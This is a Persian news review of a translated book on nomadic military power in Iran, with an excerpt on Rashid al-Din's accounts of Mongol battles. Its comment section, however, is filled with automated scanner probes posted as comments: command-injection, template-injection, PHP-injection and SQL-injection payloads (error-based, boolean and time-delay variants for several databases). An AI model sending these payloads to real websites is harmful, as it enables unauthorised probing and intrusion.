گروه محصولات

نیروی نظامی عشایر در ایران

1402/02/14 پنج شنبه

به گزارش خبرنگار کتاب ایرنا، کتاب نیروی نظامی عشایر در ایران و ممالک همجوار در دوره اسلامی Nomad military power in Iran and adjacent in the Islamic period دربرگیرنده مطالعاتی است درباره منطقه‌ای بس کوچک‌تر، ولی باز بزرگ، در دوره‌ای بس کوتاه‌تر اما هنوز بسیار بلند: ایران و برخی نواحی مجاور از حدود سال ۱۰۰۰ تا حدود سال ۱۸۷۰ میلادی. شیوه تولید در این منطقه بیشتر آمیزه‌ای از کشاورزی و دامداری است.

فرارودان/ماوراءالنهر، ایران امروزی، افغانستان، آذربایجان، آناتولی/ آسیای صغیر، و آن نقاطی از هلال حاصل خیز که جمعیت ترکمانشان مولفه مهمی در کنار بادیه‌نشینان عرب بودند، این جهان ترک و ایرانی را تشکیل می‌دادند. نواحی دیگری مانند جهان ترک و مغول دشت‌های اوراسیا از یک سو و شبه جزیره عربستان/ حجاز، با مصر و جهان عرب و بربر شمال آفریقا، از سوی دیگر، مستقیما در مقاله‌های این کتاب مطرح نمی‌شوند و احتمالا تصویر متفاوتی ارائه خواهدداد.

دوره مورد بحث ما برخی سده‌هایی را در برمی‌گیرد که نیروی نظامی عشایر در اوج خود بود. شاهنشاهی‌های سلجوقی، مغول و تیموری در این دوره می‌گنجند. آغازگرش پیدایش دودمان‌های ترک در جهان ایرانی و خاندان های نجیب‌زادگان آزاده در دشت‌هاست (متمایز از خاندان‌های ترکی که پیشینه نظامی- غلامی داشتند) و پایان بخشش هنگامی که دولت‌ها و پادشاهی‌های یک جانشین مدرن، با تجهیز به سلاح‌های گرم و ارتش‌های ثابت، دیگر برای جنگ نیازی به عشایر نداشتند.

قسمتی از متن

مغولان در جنگ

سبک خود رشیدالدین (فضل‌الله) در توصیف جنگ‌ها، مانند هرکجای دیگر کتابش، صریح و دقیق است. مشتی نمونه خروار از آن، گزارش زیبای او _ به گفته میخام بیران_ از نبردی نزدیک هرات بین اباقا و براق در ژوئیه ۱۲۷۰/ذیحجه ۶۶۸ است. این‌جا او آرایش دو لشکر و نام‌های فرماندهان واحدهای مستقر در جناح‌ها و مراکز را می‌گوید و چنان گزارشی از نبرد می‌دهد که امکان بازآفرینی نسبی آن را فراهم می‌آورد.

و لشکرکشی‌های غازان‌خان در شام را هم گزارش می‌کند، چندان واقع‌نمایان (اما نه لزوما درست) که اطلاعات سودمندی از این درگیری‌ها به دست می‌آید.

مینیاتورهای بیشتر نبردها و محاصره‌های مغولان در جامع‌التواریخ که در زمان حیات رشیدالدین مصور شده‌است از بین رفته‌اند. چنان‌که پیش‌تر گفتیم، تنها از نسخه‌های جدیدتر آن به ویژه از دوره تیموری است که پی به وجود آن‌ها برده‌ایم. البته عجیب‌ نیست که شکست‌های مغولان در عین جالوت و البستان به تصویر درنیامده است اما پیروزی ایشان بر ملوکانه در نبرد وادی آلخاندرو در دسامبر ۱۲۹۹/ربیع‌الاول ۶۹۹ دارای تصویر هست. تصویر باقی‌مانده از یورش سواره‌نظامی سنتی، پیشاپیش در همین سال‌ها نیز، بسیار دور از صحنه‌های مشابه غضبناک نبردهای دیگری در کتاب‌های خطی سده چهاردهم (مثلا در شهنامه چنگیزی ) است. با این همه، گزارش رشیدالدین را کاملا موثر به تصویر می‌کشد، هرچند از نمایش لحظه شاید دیدنی‌تر از اسب فرود آمدن کمانگیران مغول خودداری می‌کند.

کتاب مصور نیروی نظامی عشایر در ایران و ممالک همجوار در دوره اسلامی نوشته کورت فرانتس و لفگانگ هولتسوارت و ترجمه حسن افشار در ۴۳۹ صفحه، شمارگان ۷۷۰ نسخه و قیمت ۲۵۰ هزار تومان در سال ۱۴۰۱ توسط انتشارات ققنوس منتشر شد.

انصراف از نظر
نظرات
12/09/1402 07:40 ق.ظ
123456

123456

12/09/1402 07:41 ق.ظ
123456

123456

12/09/1402 07:49 ق.ظ
123456 expr 809425392 + 920247738

123456

12/09/1402 07:49 ق.ظ
123456

123456

12/09/1402 07:49 ق.ظ
123456|expr 994877207 + 917259406

123456

12/09/1402 07:49 ق.ظ
${@var_dump(md5(235986696))};

123456

12/09/1402 07:49 ق.ظ
123456

123456

12/09/1402 07:49 ق.ظ
/*1*/{{842328629+937382281}}

123456

12/09/1402 07:49 ق.ظ
123456$(expr 823772379 + 871782054)

123456

12/09/1402 07:49 ق.ظ
123456

123456

12/09/1402 07:49 ق.ظ
'-var_dump(md5(313373175))-'

123456

12/09/1402 07:49 ق.ظ
123456

123456

12/09/1402 07:49 ق.ظ
${908773082+861295517}

123456

12/09/1402 07:49 ق.ظ
123456

123456

12/09/1402 07:49 ق.ظ
123456

123456'and/**/extractvalue(1,concat(char(126),md5(1744636959)))and'

12/09/1402 07:50 ق.ظ
${(949271559+943123221)?c}

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456&set /A 801626046+816114297

123456

12/09/1402 07:50 ق.ظ
123456

123456"and/**/extractvalue(1,concat(char(126),md5(1056383054)))and"

12/09/1402 07:50 ق.ظ
#set($c=864021774+952641105)${c}$c

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
expr 963467074 + 988104440

123456

12/09/1402 07:50 ق.ظ
123456

extractvalue(1,concat(char(126),md5(1331703549)))

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
<%- 898780381+945030091 %>

123456

12/09/1402 07:50 ق.ظ
123456

123456'and(select'1'from/**/cast(md5(1541836629)as/**/int))>'0

12/09/1402 07:50 ق.ظ
123456

${@var_dump(md5(436883939))};

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456/**/and/**/cast(md5('1605210747')as/**/int)>0

12/09/1402 07:50 ق.ظ
123456

'-var_dump(md5(209247949))-'

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1243663593')))

12/09/1402 07:50 ق.ظ
123456

${988841336+822683645}

12/09/1402 07:50 ق.ظ
123456

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1832450744')))>'0

12/09/1402 07:50 ق.ظ
${861377022+941952137}

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456鎈'"\(

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456'"\(

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456

123456

12/09/1402 07:50 ق.ظ
123456'and/**/extractvalue(1,concat(char(126),md5(1439444414)))and'

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456"and/**/extractvalue(1,concat(char(126),md5(1745198204)))and"

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
extractvalue(1,concat(char(126),md5(1299831439)))

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456

123456
expr 851814300 + 984120730

12/09/1402 07:51 ق.ظ
123456'and(select'1'from/**/cast(md5(1403180377)as/**/int))>'0

123456

12/09/1402 07:51 ق.ظ
123456

123456|expr 857881462 + 967684310

12/09/1402 07:51 ق.ظ
123456/**/and/**/cast(md5('1820624045')as/**/int)>0

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456

123456$(expr 872437873 + 940453616)

12/09/1402 07:51 ق.ظ
123456

/*1*/{{997401943+934882087}}

12/09/1402 07:51 ق.ظ
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1286698144')))

123456

12/09/1402 07:51 ق.ظ
123456

123456&set /A 866784144+930525122

12/09/1402 07:51 ق.ظ
123456

${852838100+875500136}

12/09/1402 07:51 ق.ظ
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1568873471')))>'0

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456

expr 848059412 + 994151914

12/09/1402 07:51 ق.ظ
123456

${(966543332+842136989)?c}

12/09/1402 07:51 ق.ظ
123456鎈'"\(

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456

#set($c=946158315+874056894)${c}$c

12/09/1402 07:51 ق.ظ
123456'"\(

123456

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:51 ق.ظ
123456

<%- 852628046+893303522 %>

12/09/1402 07:51 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:52 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456/**/and+2=2

12/09/1402 07:53 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456/**/and+4=9

12/09/1402 07:53 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456'and'b'='b

12/09/1402 07:53 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456'and't'='a

12/09/1402 07:53 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456"and"s"="s

12/09/1402 07:53 ق.ظ
123456

123456

12/09/1402 07:53 ق.ظ
123456

123456"and"o"="i

12/09/1402 07:53 ق.ظ
123456

(select*from(select+sleep(0)union/**/select+1)a)

12/09/1402 07:53 ق.ظ
123456

(select*from(select+sleep(5)union/**/select+1)a)

12/09/1402 07:53 ق.ظ
123456

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

12/09/1402 07:54 ق.ظ
123456

123456'and(select*from(select+sleep(5))a/**/union/**/select+1)='

12/09/1402 07:54 ق.ظ
123456

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

12/09/1402 07:54 ق.ظ
123456

123456"and(select*from(select+sleep(5))a/**/union/**/select+1)="

12/09/1402 07:54 ق.ظ
123456

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

12/09/1402 07:54 ق.ظ
123456

123456/**/and(select+1/**/from/**/pg_sleep(5))>0/**/

12/09/1402 07:54 ق.ظ
123456

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

12/09/1402 07:54 ق.ظ
123456

123456'/**/and(select'1'from/**/pg_sleep(5))::text>'0

12/09/1402 07:54 ق.ظ
123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

12/09/1402 07:54 ق.ظ
123456

123456/**/and(select+1)>0waitfor/**/delay'0:0:5'/**/

12/09/1402 07:55 ق.ظ
123456

123456'and(select+1)>0waitfor/**/delay'0:0:0

12/09/1402 07:55 ق.ظ
123456

123456'and(select+1)>0waitfor/**/delay'0:0:5

12/09/1402 07:55 ق.ظ
123456

123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('q',0)

12/09/1402 07:55 ق.ظ
123456

123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)

12/09/1402 07:55 ق.ظ
123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('n',0)='n

12/09/1402 07:55 ق.ظ
123456

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',5)='t

12/09/1402 07:55 ق.ظ
123456/**/and+2=2

123456

12/09/1402 07:55 ق.ظ
123456/**/and+0=9

123456

12/09/1402 07:55 ق.ظ
123456'and'x'='x

123456

12/09/1402 07:56 ق.ظ
123456'and't'='g

123456

12/09/1402 07:56 ق.ظ
123456"and"f"="f

123456

12/09/1402 07:56 ق.ظ
123456"and"i"="y

123456

12/09/1402 07:56 ق.ظ
(select*from(select+sleep(0)union/**/select+1)a)

123456

12/09/1402 07:56 ق.ظ
(select*from(select+sleep(5)union/**/select+1)a)

123456

12/09/1402 07:56 ق.ظ
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456

12/09/1402 07:57 ق.ظ
123456'and(select*from(select+sleep(5))a/**/union/**/select+1)='

123456

12/09/1402 07:57 ق.ظ
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456

12/09/1402 07:57 ق.ظ
123456"and(select*from(select+sleep(5))a/**/union/**/select+1)="

123456

12/09/1402 07:57 ق.ظ
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456

12/09/1402 07:57 ق.ظ
123456/**/and(select+1/**/from/**/pg_sleep(5))>0/**/

123456

12/09/1402 07:57 ق.ظ
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456

12/09/1402 07:57 ق.ظ
123456'/**/and(select'1'from/**/pg_sleep(5))::text>'0

123456

12/09/1402 07:57 ق.ظ
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456

12/09/1402 07:57 ق.ظ
123456/**/and(select+1)>0waitfor/**/delay'0:0:5'/**/

123456

12/09/1402 07:58 ق.ظ
123456'and(select+1)>0waitfor/**/delay'0:0:0

123456

12/09/1402 07:58 ق.ظ
123456'and(select+1)>0waitfor/**/delay'0:0:5

123456

12/09/1402 07:58 ق.ظ
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('e',0)

123456

12/09/1402 07:58 ق.ظ
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('y',5)

123456

12/09/1402 07:58 ق.ظ
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',0)='f

123456

12/09/1402 07:58 ق.ظ
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('t',5)='t

123456